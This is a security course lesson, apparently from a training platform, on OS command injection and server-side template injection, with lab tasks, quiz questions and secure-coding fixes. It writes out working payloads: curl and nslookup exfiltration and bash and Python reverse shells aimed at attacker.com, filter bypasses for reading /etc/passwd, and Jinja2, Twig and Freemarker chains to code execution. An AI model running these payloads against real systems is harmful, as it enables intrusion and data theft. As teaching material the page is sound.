Command Injection & Server-Side Template Injection (SSTI)

Exploit OS command injection to achieve remote code execution, and Server-Side Template Injection (SSTI) in Jinja2, Twig, and Freemarker to escape sandboxes and execute arbitrary code.

Hard 65m 3 tasks

Learning Objectives

  • Exploit OS command injection via shell metacharacters
  • Bypass command injection filters using encoding and alternatives
  • Identify SSTI in Jinja2, Twig, and Freemarker templates
  • Escalate SSTI from simple reflection to RCE by navigating Python/Java object hierarchies
  • Implement parameterized subprocess calls and template sandboxing

OS Command Injection

What is Command Injection?

User input concatenated into OS commands executed by the server:

# VULNERABLE
import os
domain = request.GET.get("domain")
result = os.popen(f"ping -c 1 {domain}").read()

# Inject: domain = "google.com; cat /etc/passwd"
# Executes: ping -c 1 google.com; cat /etc/passwd

Shell Metacharacters

;   command separator   cmd1; cmd2    (always executes cmd2)
&&  AND                 cmd1 && cmd2  (executes cmd2 only if cmd1 succeeds)
||  OR                  cmd1 || cmd2  (executes cmd2 only if cmd1 fails)
|   pipe                cmd1 | cmd2  (stdout of cmd1  stdin of cmd2)
`   backtick            `cmd`        (inline execution)
$() subshell            $(cmd)       (inline execution)
\n  newline             cmd1\ncmd2   (executes both on some systems)
>   redirect            > /etc/crontab (overwrite file)

Command Injection Payloads

# Test (blind: no output)
google.com; sleep 5        # time delay confirms injection
google.com `sleep 5`
google.com && sleep 5

# Exfiltrate output (OOB)
google.com; curl http://attacker.com/$(whoami)
google.com; nslookup $(cat /etc/passwd | head -1).attacker.com

# Reverse shell
google.com; bash -i >& /dev/tcp/attacker.com/4444 0>&1
google.com; python3 -c 'import socket,subprocess,os;s=socket.socket();s.connect(("attacker.com",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'

Filter Bypass

# Space filtered:
cat${IFS}/etc/passwd    # $IFS = Internal Field Separator = space
cat</etc/passwd         # redirect as input
{cat,/etc/passwd}       # brace expansion

# Slash filtered (not very common):
cat${HOME:0:1}etc${HOME:0:1}passwd  # ${HOME:0:1} = /

# Keyword filtered:
ca${Z}t /etc/passwd     # $Z is empty — resolves to cat
c'a't /etc/passwd       # quotes break keyword detection

# Encoding:
echo Y2F0IC9ldGMvcGFzc3dk | base64 -d | bash
# (Y2F0... is base64 of "cat /etc/passwd")

# Alternative tools:
less, more, head, tail, nl, od, xxd  # instead of cat

Secure Implementation

# SAFE: use subprocess with list (never shell=True with user input)
import subprocess

# DANGEROUS — don't do this:
subprocess.run(f"ping -c 1 {domain}", shell=True)

# SAFE — argument list, no shell:
result = subprocess.run(
    ["ping", "-c", "1", domain],  # domain is a single argument
    capture_output=True, text=True, timeout=5
)

# If shell is needed:
import shlex
safe_domain = shlex.quote(domain)  # escapes shell special chars
subprocess.run(f"ping -c 1 {safe_domain}", shell=True)

# Validate input first:
import re
if not re.match(r'^[a-zA-Z0-9.\-]+$', domain):
    raise ValueError("Invalid domain")

Server-Side Template Injection (SSTI)

What is SSTI?

User input rendered as a template expression — executed server-side:

# Vulnerable Flask/Jinja2:
from flask import Flask, render_template_string, request
app = Flask(__name__)

@app.route("/greet")
def greet():
    name = request.args.get("name", "")
    return render_template_string(f"Hello {name}!")  # SSTI!

# Inject: name = {{7*7}}
# Response: Hello 49!  (template engine evaluated 7*7)

SSTI Detection

{{7*7}}       → 49   (Jinja2, Twig)
${7*7}        → 49   (Freemarker, some others)
<%= 7*7 %>    → 49   (ERB/Ruby)
#{7*7}        → 49   (Smarty)
{{7*'7'}}     → 7777777  (Jinja2 — multiplies string 7 times)
              → 49       (Twig — treats as multiplication)

Use the above to fingerprint the template engine.

Jinja2 SSTI — Escalation to RCE

# Step 1: verify SSTI
{{7*7}}    49

# Step 2: navigate Python object hierarchy to reach subprocess
# Everything in Python is an object — find 'object' base class:
{{''.__class__}}                <class 'str'>
{{''.__class__.__mro__}}        (<class 'str'>, <class 'object'>)
{{''.__class__.__mro__[1]}}     <class 'object'>

# Step 3: find all subclasses of object (one contains subprocess.Popen):
{{''.__class__.__mro__[1].__subclasses__()}}
# → [<class 'type'>, <class 'weakref'>, ..., <class 'subprocess.Popen'>, ...]

# Step 4: find index of subprocess.Popen (index varies by Python version)
# Search the list for 'Popen':
{{''.__class__.__mro__[1].__subclasses__()|select('equalto', 'subprocess.Popen')|list}}

# Step 5: call Popen to execute command
{{''.__class__.__mro__[1].__subclasses__()[POPEN_INDEX](['id'],stdout=-1).communicate()}}

# Shortcut (Python 3):
{{config.__class__.__init__.__globals__['os'].popen('id').read()}}

# Or via builtins:
{{''.__class__.__mro__[1].__subclasses__()[POPEN_INDEX](
    'cat /etc/passwd', shell=True, stdout=-1).communicate()[0].decode()}}

Twig SSTI (PHP)

{{7*7}}    → 49
{{_self}}  → Twig environment object
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}

Freemarker SSTI (Java)

${7*7}
<#assign ex="freemarker.template.utility.Execute"?new()>${ex("id")}

SSTI Defense

# 1. NEVER render user input as a template:
# BAD:
render_template_string(f"Hello {name}")

# GOOD — pass as variable:
render_template_string("Hello {{ name }}", name=name)

# 2. Use sandboxed environment (Jinja2):
from jinja2.sandbox import SandboxedEnvironment
env = SandboxedEnvironment()
template = env.from_string("Hello {{ name }}")
result = template.render(name=name)

# 3. Validate/sanitize input if templating with user data
# 4. Principle of least privilege for web process

On a Flask app with a ping endpoint (/ping?host=): (1) inject ; id to verify execution, (2) use time-based: ; sleep 5 to confirm blind injection, (3) exfiltrate /etc/passwd via curl to your listener, (4) attempt reverse shell with bash -i, (5) fix: use subprocess(['ping', '-c', '1', host]) without shell=True.

✦ Answer the questions to complete this task

Why is subprocess.run(['cmd', arg], shell=False) safe from injection?

What is the $IFS variable used for in filter bypass?

On a Flask app with render_template_string(f'Hello {name}'): (1) confirm SSTI with {{77}}, (2) navigate the object hierarchy to find subprocess.Popen, (3) execute 'id' and return the output, (4) read /etc/passwd, (5) fix: change to render_template_string('Hello {{ name }}', name=name) and verify {{77}} now returns literally {{7*7}}.

✦ Answer the questions to complete this task

What Python method returns all subclasses of a class?

What does __mro__ stand for and why is it used in SSTI?

Research and document SSTI payloads for three template engines: (1) Jinja2 SandboxedEnvironment — test if it blocks class access, (2) Twig PHP — test _self.env exploit, (3) ERB Ruby — test <%= %> execution. For each: document the detection payload, the sandbox behavior, and whether RCE is achievable. Use HackTricks SSTI guide.

✦ Answer the questions to complete this task

What is a sandbox escape in SSTI context?

💪 Exercises & Challenges

📝 MCQ Medium +20 XP

Command Injection & SSTI MCQ

Command Injection & SSTI MCQ

Start →
⚙️ Practical Medium +30 XP

Command Injection to Reverse Shell

Command Injection to Reverse Shell

Start →
🚩 Challenge Hard +50 XP

SSTI to RCE Flag Capture

SSTI to RCE Flag Capture

Start →